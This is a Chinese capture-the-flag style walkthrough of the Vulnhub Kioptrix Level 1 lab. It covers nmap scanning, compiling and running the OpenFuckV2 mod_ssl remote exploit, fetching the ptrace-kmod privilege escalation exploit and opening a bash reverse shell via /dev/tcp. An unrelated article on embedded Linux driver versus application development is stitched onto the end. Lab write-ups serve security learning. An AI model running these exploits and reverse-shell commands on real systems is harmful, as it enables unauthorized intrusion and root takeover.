【Vulnhub靶场】Kioptrix Level 1

靶场下载地址

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

目标

本机IP:192.168.118.128

靶机IP:192.168.118.0/24

一、信息收集

1. 扫存活主机

nmap -sP 192.168.118.0/24 

本机IP 为192.168.118.128

分析得靶机IP为 192.168.118.129

2. 扫全端口

nmap -p- 192.168.118.129 

3. 服务详情扫描 

nmap -sV -A 192.168.118.129

发现开放的443端口,其中Apache/1.3.20,版本过低,可查找mod_ssl 漏洞

 二、漏洞发现

1. 查找 mod_ssl 漏洞

searchsploit mod_ssl

2. 漏洞版本 

https://www.exploit-db.com(漏洞库)中查找,使用最新漏洞利用:

Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)      unix/remote/47080.c

三、漏洞利用

1. 获取漏洞脚本

漏洞路径查询,当前路径查询,把脚本拷贝到当前桌面

locate unix/remote/47080.c

pwd

cp /usr/share/exploitdb/exploits/unix/remote/47080.c /root/Desktop

查看此脚本文件

发现需要安装相关依赖,编译,已给出相关利用指令

2. 使用脚本文件

安装依赖,编译

apt-get install libssl-dev

gcc -o 47080 47080.c -lcrypto

 使用脚本文件

./文件名     显示文件使用说明

 找到对应版本,尝试利用此脚本

./47080 0x6b 192.168.233.131 443 -c 40

此时发现已经得到 Shell ,输入 whoami 尝试 ,发现只是普通用户

观察发现是 ptrace-kmod.c 文件获取失败

在给出的网址中下载  ptrace-kmod.c 到本地桌面,查看发现此文件为提权脚本文件

四、提权

1. kali 本机下载目标提权脚本 

kali本机下载目标提权脚本:

wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

2. 远程下载

在本地启动HTTP服务器,在目标中下载本地文件 ptrace-kmod.c并编译,然后重新利用漏洞,然后测试发现提权成功,获得root权限。

python -m http.server 80

wget 192.168.118.128/ptrace-kmod.c

3. Bash反弹Shell 

nc -lvvp 6666

bash -i >& /dev/tcp/192.168.118.128/6666 0>&1

### 嵌入式Linux驱动开发与应用开发的区别 #### 1. 开发目标的不同 嵌入式Linux驱动开发的目标是对底层硬件进行控制和管理,使得上层软件能够通过标准接口访问硬件资源。这通常涉及对特定芯片、外设或传感器的支持[^4]。而嵌入式Linux应用开发则侧重于实现具体的业务逻辑和服务功能,利用已有的硬件支持来完成用户需求的任务。 #### 2. 技术栈差异 - **驱动开发**:需要深入理解硬件的工作机制以及Linux内核的架构设计。开发者需熟悉设备树(Device Tree)、中断处理、内存映射等核心技术,并掌握如何编写符合内核规范的驱动代码[^1]。 - **应用开发**:主要依赖于高层库和框架,专注于算法实现、图形界面构建或者网络通信等功能模块的设计。它更多关注的是用户体验优化及功能性增强而非直接操控物理器件[^3]。 #### 3. 编程环境对比 对于驱动程序员来说,他们往往是在宿主机(Host Machine)上交叉编译源码后再传送到目标板(Target Board)上去测试;而且由于涉及到修改内核部分所以每次改动都需要重新制作镜像并刷机验证效果[^2]。相比之下应用程序员可以直接在目标平台上部署其作品并通过常规手段如gcc/g++来进行本地编译执行即可得到即时反馈无需经历如此繁琐的过程。 #### 4. 调试难度考量 鉴于驱动处于整个计算体系最底下一层靠近真实世界信号交互之处因此任何错误都可能导致系统崩溃甚至损坏硬件组件从而增加了排查问题根源时所需耗费的时间成本和技术门槛;另外因为很多情况下无法借助传统意义上的打印日志方法来进行诊断故此还需要学会运用诸如kgdb/qemu仿真工具之类的特殊技巧辅助定位缺陷所在位置[^4]。相对而言尽管应用程序也可能存在难以解决的技术挑战但总体来讲还是比前者简单得多毕竟它们远离了那些复杂难懂且容易出错的基础建设层面的东西。 ```c // 示例:简单的字符设备驱动程序片段 static int __init my_driver_init(void){ printk(KERN_INFO "Loading My Driver\n"); return 0; } module_init(my_driver_init); ``` ```python # 示例:Python脚本作为嵌入式Linux上的一个典型应用实例 import os print("This is an example of embedded Linux application.") os.system('ls /') ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shadow_143

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值